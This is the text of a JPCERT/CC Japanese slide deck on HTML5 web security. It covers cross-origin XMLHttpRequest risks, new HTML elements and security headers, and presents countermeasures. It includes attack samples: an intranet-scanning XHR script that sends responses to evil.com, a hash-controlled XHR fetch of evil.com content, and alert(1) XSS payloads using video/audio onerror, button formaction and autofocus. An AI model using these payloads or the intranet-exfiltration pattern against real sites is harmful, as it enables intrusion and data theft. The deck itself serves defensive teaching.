Japan Computer Emergency Response
Team Coordination Center

電子署名者 : Japan Computer Emergency Response
Team Coordination Center
DN : c=JP, st=Tokyo, l=Chiyoda-ku,
email=office@jpcert.or.jp, o=Japan Computer Emergency
Response Team Coordination Center, cn=Japan
Computer Emergency Response Team Coordination
Center
日付 : 2014.06.12 17:10:39 +09'00'

今から始めるHTML5セキュリティ

2014年1月29日

JPCERT/CC
松本 悦宜

JPCERT/CCとは一般社団法人JPCERTコーディネーションセンター（JPCERT/CC (ジェーピーサート・コーディネーションセンター)）Japan Computer Emergency Response Team Coordination Center— https://www.jpcert.or.jp/— サービス対象: 日本国内のインターネット利用者やセキュリティ管理担当
者、ソフトウエア製品開発者等（主に、情報セキュリティ担当者）— コンピュータセキュリティインシデントへの対応、国内外にセンサをおいたインターネット定点観測、ソフトウエアや情報システム・制御システム
機器等の脆弱性への対応などを通じ、セキュリティ向上を推進— インシデント対応をはじめとする、国際連携が必要なオペレーションや情報連携に関する、我が国の窓口となる CSIRT※各国に同様の窓口となる CSIRTが存在する(例えば、米国のUS-CERT 、中国のCNCERT, 韓国のKrCERT/CC、など)

経済産業省からの委託事業として、コンピュータセキュリティ早期警
戒体制構築運用事業を実施

1

Copyright©2013 JPCERT/CC All rights reserved.

- JPCERT/CCをご存知ですか? -JPCERT/CCの活動
インシデント予防

インシデントの予測と捕捉発生したインシデントへの対応

脆弱性情報ハンドリング

情報収集・分析・発信

インシデントハンドリング 未公開の脆弱性関連情報を製品開発者へ提供し、対応依頼
 関係機関と連携し、国際的に情報公開日を調整 セキュアなコーディング手法の普及
 制御システムに関する脆弱性関連情報の適切な流通

定点観測（TSUBAME）（インシデント対応調整支援）

 ネットワークトラフィック情報の収集分
 マルウエアの接続先等の攻撃関連サイト
析等の閉鎖等による被害最小化
 セキュリティ上の脅威情報の収集、分析、  攻撃手法の分析支援による被害可能性必要とする組織への提供の確認、拡散抑止
ポートスキャン の上位 5 位を 表示
全セン サーのポートスキャン 合計 （単位：時間）
ポートスキャン の平均値 ＝
 再発防止に向けた関係各関の情報交換
30
セン サー合計
及び情報共有25（ICM Pは常に表示、o the rはその他合計）
ICM P

TCP 1 3 5

TCP 4 4 520

U DP 1 37

15

TCP 1 3 9
TCP 1 0 2 5

10o th er

50

1 2 /91 2 /1 0

1 2 /1 1

1 2 /1 2

1 2 /1 3

1 2 /1 4

D a ta

早期警戒情報重要インフラ、重要情報インフラ事業者等の特定組織向け情報発信

CSIRT構築支援
海外のNational-CSIRTや企業内のセキュリティ対応組織の構築・運用支援

アーティファクト分析
マルウエア（不正プログラム）等の攻撃手法の分析、解析

国際連携
各種業務を円滑に行うための海外関係機関との連携
2

Copyright©2013 JPCERT/CC All rights reserved.

本日の内容HTML5のセキュリティの概要「HTML5 を利用したWeb アプリケーションのセキュリティ問題に関する調査報告書」の紹介
報告書の内容の紹介— JavaScript API
XMLHttpRequest— HTML新要素・属性— セキュリティ関連機能

3

Copyright©2013 JPCERT/CC All rights reserved.

HTML5とセキュリティ
HTML5は開発者にとって非常に便利⇒ 攻撃者にとっても非常に便利
様々な機能により表現の幅が大きく広がる⇒ 攻撃の幅も大きく広がる
関連キーワード— XMLHttpRequest— Cross Document Messaging— Offline Web Application— Web Storage— WebSocket— Web Workers— 新規追加HTML属性・要素

4

Copyright©2013 JPCERT/CC All rights reserved.

XSS
CSRF

情報
漏えい

DoS

オープン
リダイレクトHTML5とセキュリティ
従来のHTMLでは影響のなかったケースが、ブラウザのHTML5対応
により、脆弱性となってしまうケースが存在する
利便性が向上する一方で、それらの新技術が攻撃者に悪用された際にユーザが受ける影響に関して、十分に検証や周知がされていると
は言えない
XSS
CSRF

情報
漏えい

5

Copyright©2013 JPCERT/CC All rights reserved.

DoS

オープン
リダイレクトHTML5 を利用したWeb アプリケーションのセキュリティ問題に関する調査報告書
10月30日に公開
https://www.jpcert.or.jp/research/html5.html

6

Copyright©2013 JPCERT/CC All rights reserved.

JPCERT HTML5
7

Copyright©2013 JPCERT/CC All rights reserved.

検索報告書で紹介している内容(機能別)
JavaScript API— Cross Document Messaging— Web Storage— WebSocket— Offline Web Application— Web Workers— XMLHttpRequest

HTML新要素・属性—a— button— iframe— meta— video— audio— canvas— input— source

セキュリティ機能— X-XSS-Protection— X-Content-Type-Options— X-Frame-Optoins

8

Copyright©2013 JPCERT/CC All rights reserved.

— Content-Security-Policy— Content-Disposition— Strict-Transport-Security

報告書の使い方
技術書・ガイドラインのベース資料
仲間内の勉強会資料
セミナの参考資料などにどうぞ引用・転載にあたっては以下を参照してください。
JPCERT/CC ご利用にあたってのお願い
https://www.jpcert.or.jp/guide.html
記載例）
引用元: JPCERTコーディネーションセンター「HTML5 を利用したWeb アプリケーションのセキュリティ問題
に関する調査報告書」
https://www.jpcert.or.jp/research/HTML5-20131030.pdf
9Copyright©2013 JPCERT/CC All rights reserved.

報告書の内容を紹介
JavaScript API
HTML新要素・属性
セキュリティ関連機能

10

Copyright©2013 JPCERT/CC All rights reserved.

報告書の内容を紹介
JavaScript API
HTML新要素・属性
セキュリティ関連機能

11

Copyright©2013 JPCERT/CC All rights reserved.

JavaScript API
XMLHttpRequest
12

Copyright©2013 JPCERT/CC All rights reserved.

XMLHttpRequest(XHR)概要
XMLHttpRequest(XHR)とは—JavaScriptでHTTP通信を行うためのAPI—非同期通信によりインタラクティブな表現が可能—AJAXの普及に伴い使用される機会が増加—HTML5以前からある機能だが、HTML5で新しくなった
Java
ScriptJava
Scriptexample.jp
Java
Script13

Copyright©2013 JPCERT/CC All rights reserved.

従来のXHRJavaScriptを読み込んだオリジン(※)のみと通信が可能
別オリジンへの通信(クロスオリジン)では、リクエスト自体が発行されないJava
Scriptexample.jp

other.example.jp※オリジン： ホスト・ポート・スキームの組み合わせ
14

Copyright©2013 JPCERT/CC All rights reserved.

HTML5のXHR（XMLHttpRequest Level 2）
クロスオリジンに対応
クロスオリジンで通信するためには、サーバの合意が必要
クライアントはサーバからのレスポンスを見てアクセスの可否を判断するため、サーバ側で許可していない場合でも、リクエストは送られる
Origin: 読み込み元オリジン
Java
Scriptexample.jp

other.example.jp

Access-Control-Allow-Origin: 許可するオリジン or *15

Copyright©2013 JPCERT/CC All rights reserved.

XHRを使用するJavaScriptコード
コード例—http://html.example.com/から読み込んだJavaScriptで、
http://html.example2.com/と通信を行い、結果を表示する

1: var url = “http://html.example2.com/”;
2: var xhr = new XMLHttpRequest();
3: xhr.open( "GET", url, true );4: xhr.onreadystatechange = function(){5:
if( xhr.readyState == 4 && xhr.status == 200 ){6:
var resp = xhr.responseText;
7:
…
8:
}
9: };
10: xhr.send( null );16

Copyright©2013 JPCERT/CC All rights reserved.

XHRでのHTTPリクエスト・レスポンス例
リクエスト例）

GET / HTTP/1.1
Host: other.example.jp
Origin: http://example.com
User-Agent: Mozilla/5.0(Windows NT 6.0; rv:18.0)
Connection: keep-alive
レスポンス例）

HTTP/1.1 200 OK
Date: Tue, 1 Jan 2013 09:00:00 GMT
Content-Length: 1512
Content-Type: text/plain; charset=utf-8
Access-Control-Allow-Origin: http://example.com
...
DEMO
17

Copyright©2013 JPCERT/CC All rights reserved.

XHRが脆弱性の原因となるケース

18

Copyright©2013 JPCERT/CC All rights reserved.

ケース１：XHRを使用した既存のWebサイト
フレームを使わずXHRで動的にコンテンツを書き換えているケース—http://example.com/#/fooのようなURLでアクセスし、#以降を通信先URLとして使用
http://example.jp/

1. http://example.com/にアクセス

menu
A
B
C
D
E
19

正常な場合の動作

コンテンツA

Copyright©2013 JPCERT/CC All rights reserved.

2. 画面左側のメニューからBへのリン
クをクリック（http://example.com/#/b.html）
3. JavaScriptで#以降をURLとして扱い、
XHRでコンテンツBの内容を取得
4. XHRのレスポンスを右側のコンテンツとして表示ケース１：XHRを使用した既存のWebサイト
フレームを使わずXHRで動的にコンテンツを書き換えているケース—http://example.com/#/fooのようなURLでアクセスし、#以降を通信先URLとして使用
http://example.jp/

1. http://example.com/にアクセス

menu
A
B
C
D
E
20

正常な場合の動作

コンテンツA

Copyright©2013 JPCERT/CC All rights reserved.

2. 画面左側のメニューからBへのリン
クをクリック（http://example.com/#/b.html）
3. JavaScriptで#以降をURLとして扱い、
XHRでコンテンツBの内容を取得
4. XHRのレスポンスを右側のコンテンツとして表示ケース１：XHRを使用した既存のWebサイト
フレームを使わずXHRで動的にコンテンツを書き換えているケース—http://example.com/#/fooのようなURLでアクセスし、#以降を通信先URLとして使用
http://example.jp/#/b.html

1. http://example.com/にアクセス

menu
A
B
C
D
E
21

正常な場合の動作

コンテンツB

Copyright©2013 JPCERT/CC All rights reserved.

2. 画面左側のメニューからBへのリン
クをクリック（http://example.com/#/b.html）
3. JavaScriptで#以降をURLとして扱い、
XHRでコンテンツBの内容を取得
4. XHRのレスポンスを右側のコンテンツとして表示ケース１：XHRを使用した既存のWebサイト
フレームを使わずXHRで動的にコンテンツを書き換えているケース—http://example.com/#/fooのようなURLでアクセスし、#以降を通信先URLとして使用
具体的なコード例

1: var url = location.hash.substring(1);2: var xhr = new XMLHttpRequest();
3: xhr.open( "GET", url, true );4: xhr.onreadystatechange = function(){5:
if( xhr.readyState == 4 && xhr.status == 200 ){6:
div.innerHTML = xhr.responseText;
7:
}
8: };
9: xhr.send( null );22

Copyright©2013 JPCERT/CC All rights reserved.

ケース１：問題
HTML5未対応ブラウザではリクエスト自体が行われないが、ブラウザがHTML5対応したことにより、外部の任意のサーバと通信可能— XSS攻撃に使用される— 自サイト内に意図しないコンテンツが表示される

http://example.com/#//evil.com/evil.html

URLで指定した任意の外部サイトと通信可能

menu
A
B
C
D
E
23

悪意ある
コンテンツ

Copyright©2013 JPCERT/CC All rights reserved.

evil.com

DEMO

ケース１：対策
HTML5未対応ブラウザではリクエスト自体が行われないが、ブラウザがHTML5対応したことにより、外部の任意のサーバと通信可能— XSS攻撃に使用される— 自サイト内に意図しないコンテンツが表示される

任意のサイトをURLで指定しても、固定した通信先としか通信できない対策
通信先をホワイトリストとして指定しておく事で悪意のある通信先へのアクセスを行わない様にする

1: var pages = [ "/", "/foo", "/bar", "/baz" ];2: var index = location.hash.substring(1) | 0;
3: var url = pages[ index ] || ‘/’;4: var xhr = new XMLHttpRequest();
5: xhr.open( "GET", url, true );6: ....
24

Copyright©2013 JPCERT/CC All rights reserved.

ケース１：補足
脆弱となる可能性のある例

1: var url = location.hash.substring(1);2: if( url.indexOf( "http://example2.jp/" ) == 0 ||3:
url.indexOf( "http://example3.jp/" ) == 0 ){4:
5:// example2.jp または example3.jp のときのみ通信
6:var xhr = new XMLHttpRequest();7:
xhr.open( "GET", url, true );
8:
....
9: }
サイト内にオープンリダイレクトが存在すると、任意のサイトとの通信が可能
ハッシュを利用した場合、サーバ側にデータが残らないため、どこに接続されたかの把握が困難
25

Copyright©2013 JPCERT/CC All rights reserved.

ケース２：HTML5対応のイントラ内Webサイト
イントラネット内のシステム(サイトA、サイトB)— サイトAのJSからサイトBに対してクロスオリジン通信を行っている— 外部には非公開の情報を取り扱っている— イントラネットの外部からのアクセスはできないため、Cookieでの制限は行っていない— サイトBでは、レスポンスヘッダにAccess-Controll-Allow-Origin:*を設定
イントラネットJava
ScriptサイトA(10.0.0.1)
サイトB(10.0.0.2)

Access-Control-Allow-Origin:*
26

Copyright©2013 JPCERT/CC All rights reserved.

ケース２：攻撃コード例
以下のコードを実行するインターネットWebサイト（http://evil.com/）にアクセスすると・・・
1: for(i = 1; i <= 255; i++){2:
var url = “http://10.0.0.” + i + “/”;3:var xhr = new XMLHttpRequest();4:
xhr.open( "GET", url, true );5:xhr.onreadystatechange = function(){6:
if( xhr.readyState == 4 && xhr.status == 200 ){7:// xhr.responseText を evil.com に送信
8:
}
9:
};
10:
xhr.send( null );
11: }
27

Copyright©2013 JPCERT/CC All rights reserved.

ケース２： HTTPリクエスト・レスポンス例
リクエスト例）

GET / HTTP/1.1
Host: 10.0.0.2
Origin: http://evil.com
User-Agent: Mozilla/5.0(Windows NT 6.0; rv:18.0)
Connection: keep-alive
レスポンス例）

HTTP/1.1 200 OK
Date: Tue, 1 Jan 2013 09:00:00 GMT
Content-Length: 1512
Content-Type: text/plain; charset=utf-8
Access-Control-Allow-Origin: *...
28

Copyright©2013 JPCERT/CC All rights reserved.

ケース２：問題と対策
問題— 外部の攻撃者サイトに置かれたJavaScriptのXHRから、イントラネット内部の情報にアクセスされ情報漏えいに繋がる可能性がある

イントラネット

Origin: http://evil.com/
Java
ScriptサイトA(10.0.0.1)

evil.com

サイトB(10.0.0.2)

Access-Control-Allow-Origin:*
対策— 閲覧を制限したいコンテンツの場合

Cookieでアクセスを制限する（Cookieを使う場合、Access-ControlAllow-Originに、*は指定できず、オリジンを指定する必要がある）※Access-Control-Allow-Originは、アクセス制御の目的で使用できないことに注意
29

Copyright©2013 JPCERT/CC All rights reserved.

その他のJavaScript API
報告書では、今回紹介した以外にも様々な機能・問題を紹介しています— Offline Web Application— Cross Document Messaging— Web Storage— WebSocket— Web Workers— XHRによるCSRFなど

30

Copyright©2013 JPCERT/CC All rights reserved.

報告書の内容を紹介
JavaScript API
HTML新要素・属性
セキュリティ関連機能

31

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性

32

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性<video>, <audio>—<img>と同様にHTML内に直接再生可能な動画・音声を埋め込む<button formaction=“xxx”>—ボタンが押された際のフォームの挙動を指定する<input type=“email”>—メール形式のデータのみを受け付ける<input type=“text” pattern=“^[0-9a-fA-F]+$”>—パターンにマッチするデータのみを受け付ける<iframe sandbox>—scriptの実行や、フォームの送信、トップレベル
Windowへの干渉などを制限する
33

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性<video>, <audio>—<img>と同様にHTML内に直接再生可能な動画・音声を埋め込む<button formaction=“xxx”>—ボタンが押された際のフォームの挙動を指定する<input type=“email”>—メール形式のデータのみを受け付ける<input type=“text” pattern=“^[0-9a-fA-F]+$”>—パターンにマッチするデータのみを受け付ける<iframe sandbox>—scriptの実行や、フォームの送信、トップレベル
Windowへの干渉などを制限する
34

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性：<video>,<audio>
Internet Explorer 9 および10 では、<video>,<audio>要素の onerror イベントが動作するため、XSS 攻撃が行われる可能性がある。
<!-- video 要素によるXSS 攻撃の例 --><video onerror="javascript:alert(1)"><source src="#"></source></video><!-- audio 要素によるXSS 攻撃の例 --><audio onerror="javascript:alert(1)"><source src="#"></source></audio>35

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性<video>, <audio>—<img>と同様にHTML内に直接再生可能な動画・音声を埋め込む<button formaction=“xxx”>—ボタンが押された際のフォームの挙動を指定する<input type=“email”>—メール形式のデータのみを受け付ける<input type=“text” pattern=“^[0-9a-fA-F]+$”>—パターンにマッチするデータのみを受け付ける<iframe sandbox>—scriptの実行や、フォームの送信、トップレベル
Windowへの干渉などを制限する
36

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性：<button formaction>生成する HTML へのイベントハンドラの挿入を禁ずるために、on で始まる属性を検出する対策をとる場合があったが、このような対策では不十分<form><button formaction="javascript:alert(1)">text</button></form>
従来は onmouseover, onclickといったユーザの操作が必
要な属性が攻撃に使われたが、autofocus 属性と組み合わせることで、操作なしに攻撃可能になった<!-- ユーザの操作が不要な攻撃の例 --><button autofocus onfocus="alert(1)">37

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性<video>, <audio>—<img>と同様にHTML内に直接再生可能な動画・音声を埋め込む<button formaction=“xxx”>—ボタンが押された際のフォームの挙動を指定する<input type=“email”>—メール形式のデータのみを受け付ける<input type=“text” pattern=“^[0-9a-fA-F]+$”>—パターンにマッチするデータのみを受け付ける<iframe sandbox>—scriptの実行や、フォームの送信、トップレベル
Windowへの干渉などを制限する
38

Copyright©2013 JPCERT/CC All rights reserved.

<input type=“email”>
HTML新要素・属性： <input pattern=“xxx”>

メールアドレス形式の入力データのみを受け付ける<form><input type=“email”><input type=“submit”></form>DEMO
patternにマッチする入力データのみを受け付ける（下の例では、16進数表現のみを受け付ける）<form><input type=“text”
pattern=“^[0-9a-fA-F]+$”><input type=“submit”></form>39

Copyright©2013 JPCERT/CC All rights reserved.

<input type=“email”>
HTML新要素・属性： <input pattern=“xxx”>
攻撃者はブラウザ内でHTML を書き換え、<input>要素による入力制限を回避することが可能であるため、本機能を入力値に対するセキュリティ対策として使用してはいけない。

example.jp<form><input type=“text”><input type=“submit”></form>emailをtextに書き換え
40

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性<video>, <audio>—<img>と同様にHTML内に直接再生可能な動画・音声を埋め込む<button formaction=“xxx”>—ボタンが押された際のフォームの挙動を指定する<input type=“email”>—メール形式のデータのみを受け付ける<input type=“text” pattern=“^[0-9a-fA-F]+$”>—パターンにマッチするデータのみを受け付ける<iframe sandbox>—scriptの実行や、フォームの送信、トップレベルウィ
ンドウへの干渉などを制限する
41

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性：<iframe sandbox><iframe sandbox
src=“http://other.example.jp/sub.html”></iframe>index.html

iframeで読み込み
sub.html

sub.html

other.example.jp

example.jp

iframe内でのスクリプトの実行やフォームの送信などを制限
sandbox属性の値に以下を指定することで制限を解除することも可能

42

sandboxに指定可能な値

説明

allow-scripts

スクリプトの実行を許可する

allow-forms

フォームの送信を許可する

allow-top-navigation

トップレベルウィンドウの操作を許可する

Copyright©2013 JPCERT/CC All rights reserved.

HTML新要素・属性：<iframe sandbox>
自身のページを<iframe sandbox>で読み込むようにしても、攻撃者は直接ページを参照させることが可能なため、XSS攻撃などを防ぐ対策にはならない<iframe sandbox src=“http://example.jp/xss.html”>
index.html
xss.html

index.htmlを参照した場合、
xss.html内のスクリプトは動作しない

example.jp
index.html
xss.html

attacker.htmlを参照した場合、sandboxの制限が回避されスクリプトが動作する

evil.com<iframe src=“http://example.jp/xss.html”>
43

Copyright©2013 JPCERT/CC All rights reserved.

その他のHTML新要素・属性
報告書では、今回紹介した以外にも様々な機能・問題を紹介しています— <a>— <canvas>— <meta>— <source>— HTML要素によるJSONハイジャックなど

44

Copyright©2013 JPCERT/CC All rights reserved.

報告書の内容を紹介
JavaScript API
HTML新要素・属性
セキュリティ関連機能

45

Copyright©2013 JPCERT/CC All rights reserved.

セキュリティ関連機能

46

Copyright©2013 JPCERT/CC All rights reserved.

セキュリティ関連機能
X-XSS-Protection—XSS攻撃からの保護

X-Content-Type-Options—Content-Typeヘッダに従ったコンテンツの取り扱い

X-Frame-Options—フレームへの埋め込みを制限

Content-Security-Policy—コンテンツの読み込み元を制限

Content-Disposition—ファイルのダウンロードダイアログの制御

Strict-Transport-Security—HTTPSの強制
47

Copyright©2013 JPCERT/CC All rights reserved.

セキュリティ関連機能
Content-Security-Policy—読込可能なリソースのオリジンをレスポンスヘッダに指定することで機能を制限する—XSS攻撃の可能性を低減する

制限の対象となる機能• <script>や<img>、<iframe>といった各要素でのリソースの読込み• <div onmouseover="alert(1)">や<script>alert(1)</script>といったインラインでのJavaScriptの実行• JavaScript内でのeval関数やFunctionコンストラクタといった、文字列からのコードの生成• javascript スキームやdata スキーム

48

Copyright©2013 JPCERT/CC All rights reserved.

セキュリティ関連機能
Content-Security-Policy
ブラウザの種類やバージョンによってはX-Content-Security-PolicyやX-WebKit-CSPなどが使用されるContent-Security-Policy: default-src 'self'; img-src img.example.jp
ディレクティブ

49

Copyright©2013 JPCERT/CC All rights reserved.

ディレクティブソース

セキュリティ関連機能（参考）ディレクティブの例
default-src

他のディレクティブで指定されていない、デフォルトで許可されるディ
レクティブソースを列挙する

script-src

スクリプトとして許可するディレクティブソースを列挙する

style-src

スタイルシートとして許可するディレクティブソースを列挙する

img-src

画像の読込みを許可するディレクティブソースを列挙する

frame-src

フレームとして表示可能なディレクティブソースを列挙する（参考）ディレクティブソースの予約語例

50'self'

ドキュメント自身と同一オリジンの場合にのみ許可する'none'

どのオリジンも許可しない'unsafeinline'

script-src、style-srcにおいてインラインでのスクリプト記述、スタイル
記述を許可する'unsafe-eval'

JavaScript内でのeval、Function、setTimeout、setIntervalといった文字列からコードを生成する機能を許可する

Copyright©2013 JPCERT/CC All rights reserved.

セキュリティ関連機能
Content-Security-Policy

DEMO

Content-Security-Policy: default-src 'self'; img-src img.example.jp;
report-uri http://example.jp/report.cgi
違反レポートの送付先

違反レポートの内容

51

document-uri違反が発生したドキュメントの URI です。

referrer

違反が発生したドキュメントのリファラです。

blocked-uri

Content Security Policy により読み込みがブロックされたリソースの URI です。

violated-directive

違反があったポリシーセクションの名前です。

original-policy

Content-Security-Policy HTTP ヘッダに指定された元のポリシーです。

Copyright©2013 JPCERT/CC All rights reserved.

セキュリティ関連機能
Content-Security-Policyをサポートしていないブラウザや、
ブラウザによって実装の差もあり、従来通りのXSS対策
も必要
設定内容によっては正規のJavaScriptが動作しない場合もあるため、導入には注意が必要

52

Copyright©2013 JPCERT/CC All rights reserved.

まとめ

53

Copyright©2013 JPCERT/CC All rights reserved.

まとめ
HTML5では便利になる一方で、使用には注意が必要な機能も多数ある「HTML5を利用したWebアプリケーションのセキュリ
ティ問題に関する調査報告書」をセキュアなWebアプリ
ケーションの開発に役立ててください

お問い合わせは以下まで—ご意見お待ちしています

JPCERTコーディネーションセンター
Email：ww-info@jpcert.or.jp
Tel：03-3518-4600
Web: https://www.jpcert.or.jp/
54

Copyright©2013 JPCERT/CC All rights reserved.

ご静聴ありがとうございました

55

Copyright©2013 JPCERT/CC All rights reserved.